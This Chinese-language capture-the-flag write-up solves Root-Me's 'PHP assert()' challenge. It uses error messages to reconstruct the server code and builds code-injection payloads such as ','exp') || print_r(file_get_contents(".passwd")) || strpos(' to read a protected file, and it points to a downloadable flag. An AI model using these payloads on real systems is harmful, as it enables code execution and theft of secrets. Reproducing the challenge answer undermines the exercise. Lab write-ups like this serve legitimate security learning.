- 来源:Root-Me
- 题型:Web-Server
- 题目:PHP assert()
- 分数:25 Points
综合题型,做这题需要一定的 PHP 编程基础。此题全程使用 Burp Suite -> Repeater 工具方便调试 payloads 。
首先根据题意,可以知道目标是打开应用根目录下的 .passwd
文件。
搜索一下关于 PHP assert() 的语法,知道其函数定义为:
// $assertion 为固定参数,如果它是字符串,它将会被 assert() 当做 PHP 代码来执行
// 亦即可以通过 assert() 注入 PHP 代码,这是这题的解题关键
bool assert ( mixed $assertion [, string $description ] )
点击挑战页面上的超链,发现 URL 上的请求参数会随之变化 ?page=${input}
,尝试直接打开 .passwd 文件,构造 GET 请求参数为 ?page=.passwd
,页面会回显报错:'includes/.passwd.php'File does not exist
。
根据这个报错可以知道两个信息:
- 代码逻辑是在
inlcudes
目录下寻找目标文件 - GET 请求参数的拼接方式是
'includes/${input}.php'
为此尝试构造 GET 请求参数为 ?page=../.passwd
进行路径穿越访问,出现检测到 hacking 的报错信息:
Warning: assert(): Assertion "strpos('includes/../.passwd.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!
根据这个报错可以再推断两个信息:
- 这是
assert()
打印的 - 可以推断一部分的代码逻辑是这样的:
// ${input} 是我们可以控制的注入位置 assert("strpos('includes/${input}.php', '..') === false")
又由于 assert
会把入参的字符串作为 PHP 代码执行,因此其中的 strpos
函数会被调用,而这个函数的作用明显是检测 ${input}
中是否包含 ..
,有则在页面报错 Detected hacking attempt!
,为此可以进一步推测代码逻辑如下:
if (assert("strpos('includes/${input}.php', '..') === false")) {
// 正常代码
} else {
// 异常代码:检测到路径穿越
echo(${input} . " Detected hacking attempt!");
}
为了注入代码,先尝试绕过路径穿越的检测逻辑,为此构造 ${input}
的 payloads 为 ','exp') || strpos('
令到 if
条件恒真,于是发现新的报错信息 'includes/','exp') || strpos('.php'File does not exist
。
由此可以再进一步推断代码逻辑如下:
if (assert("strpos('includes/${input}.php', '..') === false")) {
$file = 'includes/${input}.php';
if (exist($file)) {
// 正常代码
} else {
// 异常代码:文件不存在
echo($file . " File does not exist");
}
} else {
// 异常代码:检测到路径穿越
echo(${input} . " Detected hacking attempt!");
}
至此只需要利用 ||
逻辑增加 if
条件语句,就可以注入代码了。
首先构造 ${input}
的 payloads 为 ','exp') || phpinfo() || strpos('
,页面打印了 PHP 版本为 5.3.17,说明注入成功。
而后只需要替换 phpinfo()
为查看 .passwd
内容的 PHP 语句,即可达到目的。
修改 payloads 为 ','exp') || file_get_contents("../.passwd") || strpos('
,尝试直接读取文件内容,却发现页面报错 file_get_contents()
函数无法找到文件。
再次调整 payloads 为 ','exp') || file_get_contents(".passwd") || strpos('
,即去掉路径穿越,发现报错没有了,推断 file_get_contents()
函数是从 web 应用根目录开始找文件的。
但是页面没有打印出 .passwd
文件的内容,说明还缺一个输出函数,此处使用 print_r()
函数(注意不能使用 echo()
函数,因为它无返回值无法嵌入 if
;也不能使用 print()
函数,因为它无法输出内容到页面)。
最终构造的 payloads 为:','exp') || print_r(file_get_contents(".passwd")) || strpos('
。
注入后得到 flag,完成挑战。
答案下载
flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip
,然后解压即可(为了避免直接刷答案)